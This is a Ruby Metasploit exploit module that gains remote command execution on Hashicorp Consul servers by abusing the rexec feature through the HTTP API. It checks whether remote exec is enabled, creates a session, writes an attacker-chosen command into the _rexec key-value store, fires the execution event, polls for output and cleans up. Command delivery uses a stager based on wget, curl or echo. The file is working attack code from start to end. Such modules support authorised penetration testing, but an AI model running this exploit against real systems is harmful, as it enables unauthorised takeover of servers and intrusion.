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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Hashicorp Consul Remote Command Execution via Rexec",
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      'Description'    => %q{
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        This module exploits a feature of Hashicorp Consul named rexec.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
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          'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC
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          'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
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        ],
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      'References'     =>
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        [
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          [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],
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          [ 'URL', 'https://www.consul.io/docs/commands/exec.html'],
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          [ 'URL', 'https://github.com/torque59/Garfield' ]
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        ],
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      'Platform'        => 'linux',
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      'Targets'         => [ [ 'Linux', {} ] ],
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      'Payload'         => {},
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      'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],
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      'Privileged'     => false,
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2018-08-11'))
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The base path', '/']),
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        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
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        OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),
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        OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
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        Opt::RPORT(8500)
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      ])
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  end
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  def check
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    uri = target_uri.path
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    res = send_request_cgi({
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      'method'  => 'GET',
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      'uri' => normalize_uri(uri, "/v1/agent/self"),
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      'headers' => {
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        'X-Consul-Token' => datastore['ACL_TOKEN']
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      }
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    })
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    unless res
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      vprint_error 'Connection failed'
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      return CheckCode::Unknown
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    end
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    begin
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      agent_info = JSON.parse(res.body)
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      if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false
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        return CheckCode::Vulnerable
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      else
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        return CheckCode::Safe
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      end
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    rescue JSON::ParserError
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      vprint_error 'Failed to parse JSON output.'
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      return CheckCode::Unknown
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    end
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  end
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  def execute_command(cmd, opts = {})
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    uri = target_uri.path
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    print_status('Creating session.')
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    res = send_request_cgi({
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      'method' => 'PUT',
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      'uri' => normalize_uri(uri, 'v1/session/create'),
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      'headers' => {
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        'X-Consul-Token' => datastore['ACL_TOKEN']
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      },
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      'ctype' => 'application/json',
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      'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json
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    })
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    if res and res.code == 200
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      begin
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        sess = JSON.parse(res.body)
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        print_status("Got rexec session ID #{sess['ID']}")
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      rescue JSON::ParseError
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        fail_with(Failure::Unknown, 'Failed to parse JSON output.')
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      end
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    end
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    print_status("Setting command for rexec session #{sess['ID']}")
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    res = send_request_cgi({
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      'method' => 'PUT',
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      'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),
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      'headers' => {
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        'X-Consul-Token' => datastore['ACL_TOKEN']
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      },
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      'ctype' => 'application/json',
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      'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json
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    })
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    if res and not res.code == 200 or res.body == 'false'
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      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
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    end
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    print_status("Triggering execution on rexec session #{sess['ID']}")
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    res = send_request_cgi({
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      'method' => 'PUT',
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      'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),
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      'headers' => {
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        'X-Consul-Token' => datastore['ACL_TOKEN']
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      },
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      'ctype' => 'application/json',
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      'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json
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    })
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    if res and not res.code == 200
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      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
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    end
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    begin
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      Timeout.timeout(datastore['TIMEOUT']) do
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        res = send_request_cgi({
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          'method' => 'GET',
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          'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),
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          'headers' => {
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            'X-Consul-Token' => datastore['ACL_TOKEN']
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          }
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        })
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        begin
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          data = JSON.parse(res.body)
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          break if data.include? 'out'
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        rescue JSON::ParseError
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          fail_with(Failure::Unknown, 'Failed to parse JSON output.')
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        end
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        sleep 2
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      end
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    rescue Timeout::Error
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      # we catch this error so cleanup still happen afterwards
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      print_status("Timeout hit, error with payload ?")
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    end
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    print_status("Cleaning up rexec session #{sess['ID']}")
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    res = send_request_cgi({
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      'method' => 'PUT',
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      'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),
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      'headers' => {
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        'X-Consul-Token' => datastore['ACL_TOKEN']
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      }
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    })
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    if res and not res.code == 200 or res.body == 'false'
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      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
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    end
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    res = send_request_cgi({
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      'method' => 'DELETE',
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      'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),
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      'headers' => {
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        'X-Consul-Token' => datastore['ACL_TOKEN']
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      }
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    })
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    if res and not res.code == 200 or res.body == 'false'
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      fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
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    end
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  end
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  def exploit
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    execute_cmdstager()
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  end
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end
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